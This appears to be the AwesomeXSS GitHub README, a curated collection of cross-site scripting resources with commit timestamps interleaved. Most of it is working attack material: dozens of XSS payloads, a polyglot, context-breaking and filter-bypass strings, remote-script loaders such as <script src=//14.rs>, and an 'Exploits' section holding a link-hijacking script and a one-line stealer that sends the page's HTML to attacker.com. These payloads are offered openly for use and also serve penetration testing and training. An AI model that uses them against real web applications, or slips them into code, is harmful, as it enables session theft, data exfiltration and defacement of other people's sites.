2018-03-11 20:05:30 +05:30
# AwesomeXSS
2019-07-07 09:04:37 +05:30
This repository is a collection of Awesome XSS resources . Contributions are welcome and should be submitted via an issue .
# # # Awesome contents
- [ Challenges ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-challenges)
- [ Reads & Presentations ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-reads--presentations)
- [ Tools ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-tools)
- [ Mind maps ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-xss-mind-maps)
- [ DOM XSS ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-dom-xss)
- [ Payloads ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-payloads)
- [ Polyglots ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-polyglots)
- [ Tags and event handlers ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-tags--event-handlers)
- [ Context breaking ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-context-breaking)
- [ HTML context ] ( https : //github.com/s0md3v/AwesomeXSS#html-context)
- [ Attribute context ] ( https : //github.com/s0md3v/AwesomeXSS#attribute-context)
- [ JavaScript context ] ( https : //github.com/s0md3v/AwesomeXSS#javascript-context)
- [ Confirm Variants ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-confirm-variants)
- [ Exploits ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-exploits)
- [ Probing ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-probing)
- [ Bypassing ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-bypassing)
- [ Encoding ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-encoding)
- [ Tips & tricks ] ( https : //github.com/s0md3v/AwesomeXSS#awesome-tips--tricks)
2018-03-11 21:34:00 +05:30
2018-03-22 13:38:43 +05:30
# # # Awesome Challenges
2019-05-31 10:03:26 +05:30
- [ prompt . ml ] ( https : //prompt.ml)
- [ alf . nu / alert1 ] ( https : //alf.nu/alert1)
- [ s - p - o - o - k - y . com ] ( https : //www.s-p-o-o-k-y.com)
- [ xss - game . appspot . com ] ( https : //xss-game.appspot.com)
- [ polyglot . innerht . ml ] ( https : //polyglot.innerht.ml)
- [ sudo . co . il / xss ] ( http : //sudo.co.il/xss)
- [ hack . me / t / XSS ] ( https : //hack.me/t/XSS)
- [ root - me . org ] ( https : //www.root-me.org/?page=recherche&lang=en&recherche=xss)
- [ chefsecure . com ] ( https : //chefsecure.com/courses/xss/challenges)
- [ wechall . net ] ( https : //www.wechall.net/challs/XSS)
2020-02-24 18:05:47 +07:00
- [ codelatte . net / xss ] ( https : //codelatte.net/xss/)
2018-03-11 21:21:25 +05:30
2018-03-22 13:38:43 +05:30
# # # Awesome Reads & Presentations
2019-03-12 17:15:47 +05:30
- [ Bypassing XSS Detection Mechanisms ] ( https : //github.com/s0md3v/MyPapers/tree/master/Bypassing-XSS-detection-mechanisms)
2018-03-22 13:38:43 +05:30
- [ XSS in Sarahah ] ( http : //www.shawarkhan.com/2017/08/sarahah-xss-exploitation-tool.html)
- [ XSS in Facebook via PNG Content Type ] ( https : //whitton.io/articles/xss-on-facebook-via-png-content-types/)
2018-03-22 18:52:33 +05:30
- [ How I met your girlfriend ] ( https : //www.youtube.com/watch?v=fWk_rMQiDGc)
- [ How to Find 1 , 352 Wordpress XSS Plugin Vulnerabilities in one hour ] ( https : //www.youtube.com/watch?v=9ADubsByGos)
2018-03-11 21:21:25 +05:30
- [ Blind XSS ] ( https : //www.youtube.com/watch?v=OT0fJEtz7aE)
- [ Copy Pest ] ( https : //www.slideshare.net/x00mario/copypest)
2018-03-12 13:36:37 +05:30
# # # Awesome Tools
2018-05-09 12:31:14 +05:30
- [ XSStrike ] ( https : //github.com/UltimateHackers/XSStrike)
2018-11-25 00:02:04 +05:30
- [ xsshunter . com ] ( https : //xsshunter.com)
2018-03-21 15:14:55 +05:30
- [ BeEF ] ( https : //github.com/beefproject/beef)
- [ JShell ] ( https : //github.com/UltimateHackers/JShell)
2018-03-12 13:36:37 +05:30
2018-11-08 19:43:25 +05:30
# # # Awesome XSS Mind Maps
2019-07-09 09:43:44 +02:00
A beautiful XSS mind map by Jack Masa , [ here ] ( https : //github.com/s0md3v/AwesomeXSS/blob/master/Database/jackmasa-mind-map.png)
2018-11-08 19:43:25 +05:30
2018-11-24 23:55:44 +05:30
# # # Awesome DOM XSS
- Does your input go into a sink ? ` Vulnerable `
- It doesn ' t ? ` Not vulnerable `
* * Source * * : An input that could be controlled by an external ( untrusted ) source .
` ` `
document . URL
document . documentURI
document . URLUnencoded ( IE 5.5 or later Only )
document . baseURI
location
location . href
location . search
location . hash
location . pathname
document . cookie
document . referrer
window . name
history . pushState ( )
history . replaceState ( )
localStorage
sessionStorage
` ` `
* * Sink * * : A potentially dangerous method that could lead to a vulnerability . In this case a DOM Based XSS .
` ` `
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto . generateCRMFRequest
ScriptElement . src
ScriptElement . text
ScriptElement . textContent
ScriptElement . innerText
anyTag . onEventName
document . write
document . writeln
anyElement . innerHTML
Range . createContextualFragment
window . location
document . location
` ` `
This comprehensive list of sinks and source is taken from [ domxsswiki ] ( https : //github.com/wisec/domxsswiki).
2018-03-22 18:34:27 +05:30
# # # Awesome Payloads
` ` `
2019-02-28 15:28:34 +05:30
< A / hREf = "j%0aavas%09cript%0a:%09con%0afirm%0d``" > z
2018-11-05 15:20:55 +05:30
< d3 "<" / onclick = "1>[confirm``]" < " > z
2018-11-06 23:24:38 +05:30
< d3 / onmouseenter = [ 2 ] . find ( confirm ) > z
2018-06-05 21:47:49 +05:30
< details open ontoggle = confirm ( ) >
2018-07-28 23:26:15 +05:30
< script y = "><" > /*<script* */ prompt ( ) < / s c r i p t
< w = "/x=" y > " / ondblclick = ` < ` [ confir\u006d ` ` ] > z
2018-06-05 21:47:49 +05:30
< a href = "javascript%26colon;alert(1)" > click
2018-09-12 22:16:02 +05:30
< a href = javas & # 99 ; ript : alert ( 1 ) > click
2018-04-04 15:12:25 +05:30
< script / "<a" / src = data : = " . < a , [ 8 ] . some ( confirm ) >
2018-06-05 21:47:49 +05:30
< svg / x = ">" / onload = confirm ( ) //
2018-04-04 15:12:25 +05:30
< -- ` <img/src= ` onerror = confirm ` ` > -- ! >
2018-03-22 18:34:27 +05:30
< svg % 0 Aonload = % 09 ( ( pro\u006dpt ) ) ( ) //
< sCript x > ( ( ( confirm ) ) ) ` ` < / s c R i p t x >
< svg < / o n l o a d = " 1 > ( _ = p r o m p t , _ ( 1 ) ) " " >
2018-07-28 23:26:15 +05:30
<!-- > < script src = //14.rs>
2018-03-22 18:34:27 +05:30
< embed src = //14.rs>
< script x = ">" src = //15.rs></script>
< ! '/*"/*/' /*/"/*--></Script><Image SrcSet=K */ ; OnError = confirm ` 1 ` //>
< iframe / src \ / \ / onload = prompt ( 1 )
< x oncut = alert ( ) > x
< svg onload = write ( ) >
` ` `
2018-11-24 23:55:44 +05:30
2018-10-31 23:29:26 +05:30
# # # Awesome Polyglots
Here ' s an XSS polyglot that I made which can break out of 20 + contexts :
2018-03-22 18:45:06 +05:30
` ` `
2018-10-31 23:29:26 +05:30
% 0 ajavascript : ` /* \" /*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'"> `
2018-03-22 18:45:06 +05:30
` ` `
2018-11-08 19:43:25 +05:30
Explanation of how it works , [ here ] ( https : //github.com/s0md3v/AwesomeXSS/blob/master/Database/polyglot.png)
2018-03-22 18:45:06 +05:30
# # # Awesome Tags & Event Handlers
- [ 105 Event Handlers with description ] ( https : //github.com/UltimateHackers/AwesomeXSS/blob/master/Database/event-handlers.md)
- [ 200 Event Handlers without description ] ( http : //pastebin.com/raw/WwcBmz5J)
2019-02-01 15:44:21 +05:30
Some less detected event handlers
` ` `
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
` ` `
2018-03-22 18:34:27 +05:30
Some HTML Tags that you will be using
` ` `
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
` ` `
2018-03-11 21:21:25 +05:30
# # # Awesome Context Breaking
2018-11-07 03:46:12 +05:30
# # # # HTML Context
Case : ` <tag>You searched for $ input. </tag> `
2018-03-11 21:21:25 +05:30
` ` `
< svg onload = alert ( ) >
< / t a g > < s v g o n l o a d = a l e r t ( ) >
` ` `
# # # # Attribute Context
2018-11-07 03:46:12 +05:30
Case : ` <tag attribute=" $ input"> `
2018-03-11 21:21:25 +05:30
` ` `
" > < svg onload = alert ( ) >
"><svg onload=alert()><b attr="
" onmouseover=alert() "
" onmouseover = alert ( ) //
2019-07-12 10:33:54 +03:00
"autofocus/onfocus=" alert ( )
2018-03-11 21:21:25 +05:30
` ` `
# # # # JavaScript Context
2018-11-07 03:46:12 +05:30
Case : ` <script> var new something = ' $ input'; </script> `
2018-03-11 21:21:25 +05:30
` ` `
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
< / s c r i p t > < s v g o n l o a d = a l e r t ( ) >
` ` `
2018-03-21 12:18:10 +05:30
# # # Awesome Confirm Variants
Yep , confirm because alert is too mainstream .
` ` `
confirm ( )
confirm ` `
2019-07-04 17:18:24 +05:30
( confirm ` ` )
{ confirm ` ` }
[ confirm ` ` ]
2018-03-21 12:18:10 +05:30
( ( ( confirm ) ) ) ` `
2018-03-29 12:37:37 +05:30
co\u006efirm ( )
2018-03-21 12:18:10 +05:30
new class extends confirm ` ` { }
2018-04-04 15:12:25 +05:30
[ 8 ] . find ( confirm )
[ 8 ] . map ( confirm )
[ 8 ] . some ( confirm )
[ 8 ] . every ( confirm )
[ 8 ] . filter ( confirm )
[ 8 ] . findIndex ( confirm )
2018-03-21 12:18:10 +05:30
` ` `
2018-03-11 21:34:00 +05:30
# # # Awesome Exploits
2018-10-21 11:42:09 +05:30
# # # # # Replace all links
` ` ` javascript
Array . from ( document . getElementsByTagName ( "a" ) ) . forEach ( function ( i ) {
i . href = "https://attacker.com" ;
} ) ;
` ` `
2018-06-03 11:29:31 +05:30
# # # # # Source Code Stealer
2019-03-01 16:01:24 +05:30
` ` ` html
< svg / onload = "(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML" >
2018-06-03 11:29:31 +05:30
` ` `
2018-03-21 12:18:10 +05:30
A good compilation of advanced XSS exploits can be found [ here ] ( http : //www.xss-payloads.com/payloads-list.html?a#category=all)
2018-03-11 21:21:25 +05:30
2018-03-12 13:36:37 +05:30
# # # Awesome Probing
If nothing of this works , take a look at * * Awesome Bypassing * * section
2019-07-09 09:43:44 +02:00
First of all , enter a non - malicious string like * * d3v * * and look at the source code to get an idea about number and contexts of reflections .
2018-11-07 03:46:12 +05:30
< br > Now for attribute context , check if double quotes ( ") are being filtered by entering `x" d3v ` . If it gets altered to ` x & quot ; d3v ` , chances are that output is getting properly escaped. If this happens, try doing the same for single quotes (') by entering ` x ' d3v ` , if it gets altered to ` x & apos ; ` , you are doomed. The only thing you can try is encoding.<br>
2018-03-12 13:36:37 +05:30
If the quotes are not being filtered , you can simply try payloads from * * Awesome Context Breaking * * section .
< br > For javascript context , check which quotes are being used for example if they are doing
` ` `
variable = 'value' or variable = "value"
` ` `
2019-12-12 01:47:45 +05:30
Now lets say single quotes ( ') are in use, in that case enter `x' d3v ` . If it gets altered to ` x \ 'd3v`, try escaping the backslash (\) by adding a backslash to your probe i.e. `x\' d3v ` . If it works use the following payload:
2018-03-12 13:36:37 +05:30
` ` `
2018-09-14 02:06:47 +05:30
\ ' - alert ( ) //
2018-03-12 13:36:37 +05:30
` ` `
2019-12-12 01:47:45 +05:30
But if it gets altered to ` x \\ \' d3v ` , the only thing you can try is closing the script tag itself by using
2018-03-12 13:36:37 +05:30
` ` `
< / s c r i p t > < s v g o n l o a d = a l e r t ( ) >
` ` `
2019-07-09 09:43:44 +02:00
For simple HTML context , the probe is ` x<d3v ` . If it gets altered to ` x>d3v ` , proper sanitization is in place . If it gets reflected as it as , you can enter a dummy tag to check for potential filters . The dummy tag I like to use is ` x<xxx> ` . If it gets stripped or altered in any way , it means the filter is looking for a pair of ` < ` and ` > ` . It can simply bypassed using
2018-03-12 13:36:37 +05:30
` ` `
< svg onload = alert ( ) //
` ` `
or this ( it will not work in all cases )
` ` `
< svg onload = alert ( )
` ` `
If the your dummy tags lands in the source code as it is , go for any of these payloads
` ` `
< svg onload = alert ( ) >
< embed src = //14.rs>
< details open ontoggle = alert ( ) >
` ` `
# # # Awesome Bypassing
2018-03-21 15:14:55 +05:30
* * Note : * * None of these payloads use single ( ' ) or double quotes ( " ) .
- Without event handlers
` ` `
< object data = javascript : confirm ( ) >
2018-04-04 16:55:43 +05:30
< a href = javascript : confirm ( ) > click here
< script src = //14.rs></script>
2018-03-21 15:14:55 +05:30
< script > confirm ( ) < / s c r i p t >
` ` `
- Without space
` ` `
< svg / onload = confirm ( ) >
2018-04-04 16:55:43 +05:30
< iframe / src = javascript : alert ( 1 ) >
2018-03-21 15:14:55 +05:30
` ` `
- Without slash ( / )
` ` `
< svg onload = confirm ( ) >
< img src = x onerror = confirm ( ) >
` ` `
- Without equal sign ( = )
` ` `
< script > confirm ( ) < / s c r i p t >
` ` `
- Without closing angular bracket ( > )
` ` `
< svg onload = confirm ( ) //
` ` `
- Without alert , confirm , prompt
` ` `
2018-03-22 13:38:43 +05:30
< script src = //14.rs></script>
2018-03-21 15:14:55 +05:30
< svg onload = co\u006efirm ( ) >
< svg onload = z = co\u006efir\u006d , z ( ) >
` ` `
- Without a Valid HTML tag
` ` `
< x onclick = confirm ( ) > click here
2018-04-04 16:55:43 +05:30
< x ondrag = aconfirm ( ) > drag it
` ` `
2019-07-09 09:43:44 +02:00
- Bypass tag blacklisting
2018-10-24 08:44:16 +05:30
` ` `
< / S c R i p T >
< / s c r i p t
< /script/ >
< / s c r i p t x >
` ` `
2018-03-22 18:52:33 +05:30
# # # Awesome Encoding
2018-11-08 19:43:25 +05:30
2019-01-11 05:10:47 +05:30
| HTML | Char | Numeric | Description | Hex | CSS ( ISO ) | JS ( Octal ) | URL |
| -- -- | -- -- | -- -- -- - | -- -- -- -- -- - | -- -- | -- -- -- -- | -- -- -- -- -- | -- - |
| ` " ` | " | ` " ` | quotation mark | u + 0022 | \ 0022 | \ 42 | % 22 |
| ` # ` | # | ` # ` | number sign | u + 0023 | \ 0023 | \ 43 | % 23 |
| ` $ ` | $ | ` $ ` | dollar sign | u + 0024 | \ 0024 | \ 44 | % 24 |
| ` % ` | % | ` % ` | percent sign | u + 0025 | \ 0025 | \ 45 | % 25 |
2022-02-28 15:07:44 +05:30
| ` & ` | & | ` & ` | ampersand | u + 0026 | \ 0026 | \ 46 | % 26 |
2019-01-11 05:10:47 +05:30
| ` ' ` | ' | ` ' ` | apostrophe | u + 0027 | \ 0027 | \ 47 | % 27 |
| ` ( ` | ( | ` ( ` | left parenthesis | u + 0028 | \ 0028 | \ 50 | % 28 |
| ` ) ` | ) | ` ) ` | right parenthesis | u + 0029 | \ 0029 | \ 51 | % 29 |
| ` * ` | * | ` * ` | asterisk | u + 002 A | \ 002 a | \ 52 | % 2 A |
| ` + ` | + | ` + ` | plus sign | u + 002 B | \ 002 b | \ 53 | % 2 B |
| ` , ` | , | ` , ` | comma | u + 002 C | \ 002 c | \ 54 | % 2 C |
| ` − ` | - | ` - ` | hyphen - minus | u + 002 D | \ 002 d | \ 55 | % 2 D |
| ` . ` | . | ` . ` | full stop ; period | u + 002 E | \ 002 e | \ 56 | % 2 E |
| ` / ` | / | ` & # 4 7 ; ` | s o l i d u s ; s l a s h | u + 0 0 2 F | \ 0 0 2 f | \ 5 7 | % 2 F |
| ` : ` | : | ` : ` | colon | u + 003 A | \ 003 a | \ 72 | % 3 A |
| ` ; ` | ; ` | ` & # 59 ; ` |semicolon|u+003B| \0 03b| \7 3|%3B|
| ` < ` | < | ` < ` | less - than | u + 003 C | \ 003 c | \ 74 | % 3 C |
| ` = ` |= | ` = ` | equals | u + 003 D | \ 003 d | \ 75 | % 3 D |
| ` > ` | > | ` > ` | greater - than sign | u + 003 E | \ 003 e | \ 76 | % 3 E |
| ` ? ` | ? | ` ? ` | question mark | u + 003 F | \ 003 f | \ 77 | % 3 F |
| ` @ ` | @ | ` @ ` | at sign ; commercial at | u + 0040 | \ 0040 | \ 100 | % 40 |
| ` [ ` | \ [ | ` [ ` | left square bracket | u + 005 B | \ 005 b | \ 133 | % 5 B |
2022-02-28 15:07:44 +05:30
| ` \ ` | & bsol ; | ` \ ` | backslash | u + 005 C | \ 005 c | \ 134 | % 5 C |
2019-01-11 05:10:47 +05:30
| ` ] ` | ] | ` ] ` | right square bracket | u + 005 D | \ 005 d | \ 135 | % 5 D |
| ` ^ ` | ^ | ` ^ ` | circumflex accent | u + 005 E | \ 005 e | \ 136 | % 5 E |
| ` _ ` | _ | ` _ ` | low line | u + 005 F | \ 005 f | \ 137 | % 5 F |
| ` ` ` | \ ` | ` & # 96 ; ` |grave accent|u+0060| \0 060| \u 0060|%60|
| ` { ` | { | ` { ` | left curly bracket | u + 007 b | \ 007 b | \ 173 | % 7 b |
| ` | ` | \ || ` | ` | vertical bar | u + 007 c | \ 007 c | \ 174 | % 7 c |
| ` } ` | } | ` } ` | right curly bracket | u + 007 d | \ 007 d | \ 175 | % 7 d |
2018-03-22 18:52:33 +05:30
2018-03-11 21:21:25 +05:30
# # # Awesome Tips & Tricks
2018-11-07 03:46:12 +05:30
- ` http(s):// ` can be shortened to ` // ` or ` / \\ ` or ` \\ ` .
- ` document.cookie ` can be shortened to ` cookie ` . It applies to other DOM objects as well .
- alert and other pop - up functions don 't need a value, so stop doing `alert(' XSS ' ) ` and start doing ` alert ( ) `
- You can use ` // ` to close a tag instead of ` > ` .
- I have found that ` confirm ` is the least detected pop - up function so stop using ` alert ` .
2019-07-09 09:43:44 +02:00
- Quotes around attribute value aren 't necessary as long as it doesn' t contain spaces . You can use ` <script src=//14.rs> ` instead of ` <script src="//14.rs"> `
2019-01-08 18:01:34 +05:30
- The shortest HTML context XSS payload is ` <script src=//14.rs> ` ( 19 chars )
2018-03-11 21:34:00 +05:30
2018-03-12 16:55:26 +05:30
# # # Awesome Credits
2018-03-11 21:34:00 +05:30
All the payloads are crafted by me unless specified .